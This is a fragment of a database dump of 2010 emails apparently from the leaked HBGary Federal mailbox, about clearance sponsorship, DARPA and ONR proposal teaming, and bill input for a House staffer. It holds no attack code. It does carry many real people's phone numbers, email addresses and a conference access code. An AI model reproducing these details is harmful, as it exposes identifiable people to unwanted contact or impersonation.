come in and talk about some interesting classified\r\nwork.\r\n\r\nBut as a side note I have learned of the Provisional Industrial\r\nSecurity Approval (PISA) Sponsorship Program through my other friend\'s\r\nsmall business who is trying to become sponsored:\r\n\r\nhttp://www.nsa.gov/business/programs/pisa.shtml\r\n\r\nThis program could get a number of us NSA-level cleared for free\r\nessentially.  Then we can then come in and work on all kinds of\r\nprojects.  We would need someone to sponsor us but I think with your\r\ncontacts that would not be an issue.\r\n\r\nSo if you were not aware of the program it might be worth investigating.\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13041,'aaron_hbgary_com/13041.html'),(2028,'2010-02-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000829.M184232P3547Q2028.eml','\"Aaron Barr\" <aaron@hbgary.com>','Status of stuff','\r\n\r\n\r\n\r\n\r\nStatus of stuff\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHow&#8217;s it going?&nbsp; Here is my dump on where things stand.\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Clearances: I am trying to get into a friendly customer next Tuesday or Wednesday to discuss and will bring up sponsorship of your clearances.&nbsp; Problem is that nothing on the DoD side will be of help given their rules.&nbsp; \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary memory object and new rootkit concept:&nbsp; We need to discuss how to proceed on this.&nbsp; I have one meeting next Wednesday with a customer and possibly two.&nbsp; I would like to bring this up but I need some more details on the technology and what we would look at for cost.&nbsp; What would it take to get the code out of Responder and repackage it?&nbsp; For the rootkit, where does Greg stand?&nbsp; Nothing but an idea?&nbsp; If we can get funding, is Greg willing to allow it to be used given the restrictions that would be enforced?\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Can I get a license for a suite of your tools?\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Got a meeting in Atlanta with EndGame next Monday.&nbsp; Any things that you want me to specifically discuss?&nbsp; I am going to partnering on tool development and also try to get a handle on how much intel data they actually have access to.&nbsp; I would like to get enough solid data so we could put firm scenario together.\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Meeting with Jadik on Tuesday.&nbsp; Putting together a briefing on all this.&nbsp; Once John says he has our back, I will fire up the IRAD.&nbsp; 10th Fleet brief is waiting for this ok but should be set.\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Working on getting details on the plus-up that a company got for a Cyber Threat Center.&nbsp; Talked to one person at the company and he confirmed that they do not have a clue on what to do.&nbsp; They need to submit a whitepaper to initiate the funding.&nbsp; Willing to contribute a WP?\r\n\r\n7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ONR BAA: Are you interested in submitting something on this.&nbsp; I am not impressed with the BAA given their program plan.&nbsp; Two phased program where the first phase is 6 months and only covers design.&nbsp; The program seems to be to slow moving for our purposes but it is still money.&nbsp; May be a way for HBGary to develop next gen capability but then govt owns unlimited rights which anyone has access to.&nbsp; I think the Threat Center concept does apply to the following technologies of interest:\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technologies to support attribution of network activity to the source \r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods and techniques to determine the topology and activity of networks and, to the extent possible, use the information provided by the attribution data to geo-locate the sources and targets of suspicious and potentially unauthorized network activity.\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods and techniques for real-time visualization of large sets of network data that are obtained from disparate sources\r\n\r\nHowever, the program plan makes me wonder if they are really looking for any near-term solutions and, even then, you are looking at March 2011 to even start implementation.&nbsp; However, if we talk about the next version and get funding through this vehicle for that.\r\n\r\nWhat do you think?\r\n\r\n8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cyber Genome: Here are my thoughts on where we could do a joint proposal.&nbsp; What are your thoughts on cost sharing on this?&nbsp; It is mentioned in the BAA that DARPA would look favorably where there is the possibility of commercial business as a result.&nbsp; Do you have experience writing DARPA proposal?&nbsp; Our AC&amp;TD division has a lot of work with DARPA.&nbsp; \r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 1:&nbsp; I think our Information Geometry technology could be of use here.&nbsp; Combining that with Digital DNA would allow us to categorize like behaviors of variants using the outputs of DNA.&nbsp; Then, we can get the justification from IG to show the relationships that exist to justify the categorization.&nbsp;&nbsp; Then, we can use Palantir to visualize and correlate with other data sources, just as we have discussed.&nbsp; I talking to another company about their correlation technology to see what it can do.\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 2:&nbsp; While the objective is different, I am not sure if the required technology is that different.&nbsp; The data being operated on is but you are still do characterization of behavior.&nbsp; So, we can develop models for various class of users then deploy those models against sensor data.\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I think this is HBGary completely.&nbsp; May want to search academia for those doing cutting edge research at the early stages and do a joint R&amp;D effort.\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 4: I think the Cyber Threat Analysis Center could be under this one.\r\n\r\nWhat do you think?&nbsp; My one concern is whether this is researchy enough for DARPA.&nbsp; We are trying to build near-term capabilities and DARPA wants revolutionary.&nbsp; While this is revolutionary, this is a near-term capability which may dissuade DARPA.&nbsp; Will DARPA think it is evolutionary which will get it killed.\r\n\r\nDo we need Millersville?&nbsp; I do not see a need other than to make the proposal look beefier and leverage their relationship with Van Putte.&nbsp; \r\n\r\n9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We have a customer in I2WD&#8217;s technology research group.&nbsp; We are going to have to get a briefing together to brief them on threat analysis capabilities.&nbsp; Interested?\r\n\r\n10.&nbsp;&nbsp;&nbsp;&nbsp; Are you interested in submitting something to the AF&#8217;s Integrated Cyber Defense and Support Technologies BAA?\r\n\r\n\r\n\r\nAnything new?\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',6820,'aaron_hbgary_com/6820.html'),(2029,'2010-02-04','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297000829.M434760P3547Q2029.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Input','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; thanks for your help on this.&nbsp; I tried on a lot of\r\nthese, and we got nowhere (long story, but jurisdictional issues between\r\nScience and Homeland make us rivals and they are less inclined to accept our\r\namendments). We were able to get the Langevin amendment through though &#8211;\r\nthought you might be interested in the details.\r\n\r\n&nbsp;\r\n\r\n2:34\r\nP.M. - \r\n\r\nOn agreeing to the Langevin amendment Agreed to\r\nby voice vote. \r\n\r\n2:29\r\nP.M. - \r\n\r\nDEBATE - Pursuant to the provisions of H.Res.\r\n1051, the Committee of the Whole proceeded with 10 minutes of debate on the\r\nLangevin amendment. \r\n\r\nAmendment\r\noffered by Mr. Langevin. \r\n\r\nAn amendment numbered 12 printed in House Report\r\n111-410 to direct the Cybersecurity Workforce Assessment to examine expanding\r\ntemporary assignments of private sector cybersecurity professionals to Federal\r\nagencies. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 6:03 AM\r\nTo: Olcott, Jacob\r\nSubject: Input\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJake,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wish I had more time. &nbsp;But here is some input.\r\n&nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT\r\nPLAN\r\n\r\n\r\n\r\nDescribe how the program will incentivize the collaboration\r\nof academia, small and large businesses to work together to develop more\r\nsignificant capabilities. &nbsp;(my point here is there is lots of talent,\r\ncapability, overlap, but often they don\'t collaborate for reasons of market\r\nshare, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small\r\ncompanies are laser focused on immediate revenue and growth. &nbsp;Difficult to\r\nget them to think about collaboration. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will provide access to government\r\nmission sets and information for the purposes of real world research,\r\ndevelopment, and testing. &nbsp;(In many cases, you might have good ideas, good\r\ntechnology but you need a real world environment/data to test against which is\r\ndifficult to get unless you secure a contract).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the programs national research infrastructure\r\nwill provide expertise to mission owners on the effectiveness of new\r\ntechnologies. &nbsp;(It would be effective to have a technology shop that could\r\nprovide the real world testing on new technologies and provide expert opinion\r\nto the government on technology effectiveness)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will facilitate development and\r\nimplementation of newly developed technologies. &nbsp;Once you have a new\r\ntechnology then you have to go sell it, which can be a matter of contacts, etc,\r\nthings that don\'t have anything to do with the quality of the technology.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will develop a national challenge\r\nbased on priorities to effectively evaluate and reward best in class\r\ncapabilities in those areas referenced. &nbsp;How can we innovatively foster\r\nthe creation of new ideas. &nbsp;Provide a national challenge in different\r\nareas at a government sponsored cybersecurity event. &nbsp;This would allow\r\nvirtual nobodies that have developed amazing capability to get instant\r\nrecognition and exposure.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN\r\nCYBER-SECURITY\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to incentivize people to think and act\r\nmore securely in how the use systems, and develop systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop incentives to more effectively share cybersecurity\r\nrelated information amongst government, academia, and industry.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPrograms to inform public of compromised systems, attack\r\ntypes, methods. &nbsp;More publicly digestible information on the threats and\r\nmethods of attack.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY\r\nRESEARCH AND DEVELOPMENT PROGRAMS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENT\r\n\r\n\r\n\r\n\r\n\r\nIncentivize industry and government to bring on college\r\nstudents part time in larger numbers, mechanisms to get them in the clearance\r\nprocess, get them experience, introduced to what is actually happening in the\r\nnational cybersecurity efforts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop a set of cybersecurity programs; to teach general\r\nusers, acquisitions forces to help them write cyber requirements, and more\r\ntechnical for personnel who work on the systems so they better understand both\r\nwhy and how to secure systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop technical coaching and mentorship programs to grow\r\nthe current base into technical experts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCE\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to tie university research to industry\r\nsponsorships. &nbsp;I sat through the review of a bunch of academic papers and\r\nit was obvious the are technically sharp but operationally ignorant..get them\r\ninvolved more effectively in working on industry R&amp;D.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND\r\nDISSEMINATION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY\r\nCYBERSECURITY RESEARCH AND DEVELOPMENT\r\n\r\n\r\n\r\n\r\n\r\nDevelop cybersecurity taxonomy and metrics standards.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop standards for research, engage international\r\ncommunities, establish more cross functional committees and act as government\r\nPOC to track all cyber related research (allowing agencies to quickly see what\r\nis being done and facilitate collaboration).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nContinually\r\nassess gaps in cyber defense research, development and implementation.\r\n&nbsp;Annual assessments of cyber intrusions and investigations/remediation.\r\n&nbsp;Publicly available documentation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14689,'aaron_hbgary_com/14689.html'),(2030,'2010-02-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000829.M673137P3547Q2030.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status of stuff','\r\n\r\n\r\n\r\n\r\nRE: Status of stuff\r\n\r\n\r\n\r\n\r\n\r\n\r\n11.&nbsp; Is there a March training class for Responder in DC or is Feb 24-25 in Sacramento it?\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Thursday, February 04, 2010 4:03 PM\r\nTo: Aaron Barr\r\nSubject: Status of stuff\r\n\r\n\r\n\r\nAaron,\r\n\r\nHow&#8217;s it going?&nbsp; Here is my dump on where things stand.\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Clearances: I am trying to get into a friendly customer next Tuesday or Wednesday to discuss and will bring up sponsorship of your clearances.&nbsp; Problem is that nothing on the DoD side will be of help given their rules.&nbsp; \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary memory object and new rootkit concept:&nbsp; We need to discuss how to proceed on this.&nbsp; I have one meeting next Wednesday with a customer and possibly two.&nbsp; I would like to bring this up but I need some more details on the technology and what we would look at for cost.&nbsp; What would it take to get the code out of Responder and repackage it?&nbsp; For the rootkit, where does Greg stand?&nbsp; Nothing but an idea?&nbsp; If we can get funding, is Greg willing to allow it to be used given the restrictions that would be enforced?\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Can I get a license for a suite of your tools?\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Got a meeting in Atlanta with EndGame next Monday.&nbsp; Any things that you want me to specifically discuss?&nbsp; I am going to partnering on tool development and also try to get a handle on how much intel data they actually have access to.&nbsp; I would like to get enough solid data so we could put firm scenario together.\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Meeting with Jadik on Tuesday.&nbsp; Putting together a briefing on all this.&nbsp; Once John says he has our back, I will fire up the IRAD.&nbsp; 10th Fleet brief is waiting for this ok but should be set.\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Working on getting details on the plus-up that a company got for a Cyber Threat Center.&nbsp; Talked to one person at the company and he confirmed that they do not have a clue on what to do.&nbsp; They need to submit a whitepaper to initiate the funding.&nbsp; Willing to contribute a WP?\r\n\r\n7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ONR BAA: Are you interested in submitting something on this.&nbsp; I am not impressed with the BAA given their program plan.&nbsp; Two phased program where the first phase is 6 months and only covers design.&nbsp; The program seems to be to slow moving for our purposes but it is still money.&nbsp; May be a way for HBGary to develop next gen capability but then govt owns unlimited rights which anyone has access to.&nbsp; I think the Threat Center concept does apply to the following technologies of interest:\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technologies to support attribution of network activity to the source \r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods and techniques to determine the topology and activity of networks and, to the extent possible, use the information provided by the attribution data to geo-locate the sources and targets of suspicious and potentially unauthorized network activity.\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods and techniques for real-time visualization of large sets of network data that are obtained from disparate sources\r\n\r\nHowever, the program plan makes me wonder if they are really looking for any near-term solutions and, even then, you are looking at March 2011 to even start implementation.&nbsp; However, if we talk about the next version and get funding through this vehicle for that.\r\n\r\nWhat do you think?\r\n\r\n8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cyber Genome: Here are my thoughts on where we could do a joint proposal.&nbsp; What are your thoughts on cost sharing on this?&nbsp; It is mentioned in the BAA that DARPA would look favorably where there is the possibility of commercial business as a result.&nbsp; Do you have experience writing DARPA proposal?&nbsp; Our AC&amp;TD division has a lot of work with DARPA.&nbsp; \r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 1:&nbsp; I think our Information Geometry technology could be of use here.&nbsp; Combining that with Digital DNA would allow us to categorize like behaviors of variants using the outputs of DNA.&nbsp; Then, we can get the justification from IG to show the relationships that exist to justify the categorization.&nbsp;&nbsp; Then, we can use Palantir to visualize and correlate with other data sources, just as we have discussed.&nbsp; I talking to another company about their correlation technology to see what it can do.\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 2:&nbsp; While the objective is different, I am not sure if the required technology is that different.&nbsp; The data being operated on is but you are still do characterization of behavior.&nbsp; So, we can develop models for various class of users then deploy those models against sensor data.\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I think this is HBGary completely.&nbsp; May want to search academia for those doing cutting edge research at the early stages and do a joint R&amp;D effort.\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 4: I think the Cyber Threat Analysis Center could be under this one.\r\n\r\nWhat do you think?&nbsp; My one concern is whether this is researchy enough for DARPA.&nbsp; We are trying to build near-term capabilities and DARPA wants revolutionary.&nbsp; While this is revolutionary, this is a near-term capability which may dissuade DARPA.&nbsp; Will DARPA think it is evolutionary which will get it killed.\r\n\r\nDo we need Millersville?&nbsp; I do not see a need other than to make the proposal look beefier and leverage their relationship with Van Putte.&nbsp; \r\n\r\n9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We have a customer in I2WD&#8217;s technology research group.&nbsp; We are going to have to get a briefing together to brief them on threat analysis capabilities.&nbsp; Interested?\r\n\r\n10.&nbsp;&nbsp;&nbsp;&nbsp; Are you interested in submitting something to the AF&#8217;s Integrated Cyber Defense and Support Technologies BAA?\r\n\r\n\r\n\r\nAnything new?\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',4943,'aaron_hbgary_com/4943.html'),(2031,'2010-02-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000829.M913425P3547Q2031.eml','\"Aaron Barr\" <aaron@hbgary.com>','Just a thought','\r\n\r\n\r\n\r\n\r\nJust a thought\r\n\r\n\r\n\r\n\r\nI had someone tell me the line about all movies are based on one of 13 plots.&nbsp; That got me thinking.&nbsp; This has probably already been attempted but could you go to the CERT and get a description of all reported intrusion incidents in as much detail as possible then could you develop not necessarily the plots(models) but a taxonomy(not sure if that is the right word) that describes the components of those intrusions(plots) then use that taxonomy to drive a scoring engine that is used against network traffic to identify anomalies?&nbsp; Sounds like a ATR-ish like problem.&nbsp; Has anyone done this?\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',14310,'aaron_hbgary_com/14310.html'),(2032,'2010-02-04','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297000830.M293359P3547Q2033.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com,greg@hbgary.com,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com,greg@hbgary.com','GD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity','\r\n\r\n\r\n\r\n\r\nGD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n\r\n\r\n\r\n\r\nWhen: Friday, February 05, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nFriday 11:00 AM Eastern = 8:00 AM Pacific\r\n\r\nGD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\nQuestions?\r\n\r\nContact:\r\n\r\nChris Starr\r\n\r\n571-216-6140\r\n\r\nChris.Starr@gd-ais.com \r\n\r\n\r\n\r\n\r\n',11558,'aaron_hbgary_com/11558.html'),(2033,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000830.M499910P3547Q2034.eml','\"Gipson, Vergle\" <vlgipso@nsa.gov>,\"Gipson, Vergle\" <vlgipso@nsa.gov>,,,,,,,,,,,,,,','Re: Malware Genome and Attribution','Thank you for the response.  Please let me know when is convenient to get together for a discussion.  Feel free to give me a call at 719.510.8478.  I am not exactly sure which office you are from, but as a heads up we recently received a request to set up a demo and discussion with the ANO office, David Luber and Katelyn Sprague.  Not sure if we can combine discussions or not.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nOn Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n\r\n> Ralph,\r\n> \r\n> 	Thanks for reminding me about this one.\r\n> \r\n> Dave/Barry/Matt -- follow up on this please.\r\n> \r\n> Vergle \r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph \r\n> Sent: Tuesday, February 02, 2010 7:02 AM\r\n> To: Ghent, Ralph ; Gipson, Vergle \r\n> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley Parkes;\r\n> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John \r\n> Subject: RE: Malware Genome and Attribution\r\n> \r\n> Vergle,\r\n> Reminder of the thread below, and your awareness of the efforts of Aaron\r\n> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n> not seen any response since this was raised in early December.\r\n> \r\n> Also, pls see recent news article below:\r\n> \r\n> \'Cyber Genome Project\': The military scientists want to establish a\r\n> \"Cyber Genome\" project which will allow any digital artifact - a\r\n> document, apiece of malware - to be probed to its very origins.\r\n> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n> Genome Program\" will \"produce revolutionary cyber defense and\r\n> investigatory technologies\". \r\n> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n> \r\n> VR,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Monday, January 11, 2010 3:05 PM\r\n> To: Gipson, Vergle\r\n> Subject: FW: Malware Genome and Attribution\r\n> \r\n> Vergle:\r\n> I mentioned this fellow to you awhile back and emailed you all in V2 as\r\n> to possible interest in engaging him to learn of his efforts (which seem\r\n> to me to be very closely aligned to the Carnegie-Mellon Malicious Code\r\n> Catalog efforts).\r\n> \r\n> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n> holding back on responding til he saw your comments/guidance.\r\n> \r\n> \r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Friday, January 08, 2010 10:23 AM\r\n> To: Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Ralph,\r\n> \r\n> Happy New Year.\r\n> \r\n> I am still very interested to talk to folks there about the Malicious\r\n> Code Catalog and our Malware Genome and Digital DNA if there is interest\r\n> on that side.  As I mentioned we have recently partnered with Palantir\r\n> and are working on a partnership with Netwitness and maybe 1 or 2 other\r\n> small vendors with complimentary technology.  I think something really\r\n> substantial can be put together.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n> \r\n>> Aaron,\r\n>> Did anyone from the NTOC contact you yet?\r\n>> Respectfully,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Friday, December 04, 2009 2:27 PM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: Malware Genome and Attribution\r\n>> \r\n>> Aaron,\r\n>> Many thanks for the additional info and the opportunity to chat \r\n>> briefly at Leesburg.\r\n>> \r\n>> I have pushed your info to those within my Agency who are working with\r\n> \r\n>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time next \r\n>> week, no one has reached-out to you, pls email me again and I will \r\n>> follow up with them.\r\n>> \r\n>> Sincerely,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>> To: Ghent, Ralph\r\n>> Subject: Malware Genome and Attribution\r\n>> \r\n>> Ralph,\r\n>> \r\n>> Thank you for stepping in and asking about my discussion about Malware\r\n> \r\n>> detection, genomes, and attribution.  I am very new to my current \r\n>> position as CEO of HBGary Federal, prior to this I was the Technical \r\n>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago \r\n>> if we can make headway against attribution I would have said no, not \r\n>> until we have better situational awareness, network characterization, \r\n>> CND/CNE integration, etc.\r\n>> \r\n>> Then I started to learn about HBGarys Malware Genome database, where \r\n>> they have characterized 3500 traits of malware to date, and are \r\n>> starting to make associations of authorship across malware.  I \r\n>> immediately thought of Palantirs capability to link analysis and had\r\n> an aha moment.\r\n>> But I knew that other capabilities needed to be added if we were \r\n>> seriously going to take a crack at attribution.\r\n>> \r\n>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>> would love to talk with them and combine efforts if appropriate to \r\n>> develop the capability that is needed to help with this challenge.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 301.652.8885 x117\r\n>> 719.510.8478\r\n> \r\n\r\n\r\n\r\n\r\n\r\n',3932,'aaron_hbgary_com/3932.html'),(2034,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000830.M696469P3547Q2035.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: GD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Starr, Christopher H.\" \r\n> Date: February 4, 2010 4:33:21 PM EST\r\n> To: \"Bob Slapnik\" , , , \"Jaeger, James A.\" , \"Harlow, Douglas M.\" \r\n> Cc: \"Dratch, Scott R.\" , \"Foil, Jerry T.\" , \"Upchurch, Jason R.\" \r\n> Subject: GD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n> \r\n> When: Friday, February 05, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US & Canada).\r\n> \r\n> Where: 866-765-5631, code 5057292#\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n> Friday 11:00 AM Eastern = 8:00 AM Pacific\r\n> \r\n> GD / HBGary teleconference to discuss Cyber Genome BAA teaming opportunity\r\n> \r\n> 866-765-5631, code 5057292#\r\n> \r\n> \r\n> Questions?\r\n> \r\n> Contact:\r\n> \r\n> Chris Starr\r\n> \r\n> 571-216-6140\r\n> \r\n> Chris.Starr@gd-ais.com\r\n> \r\n> 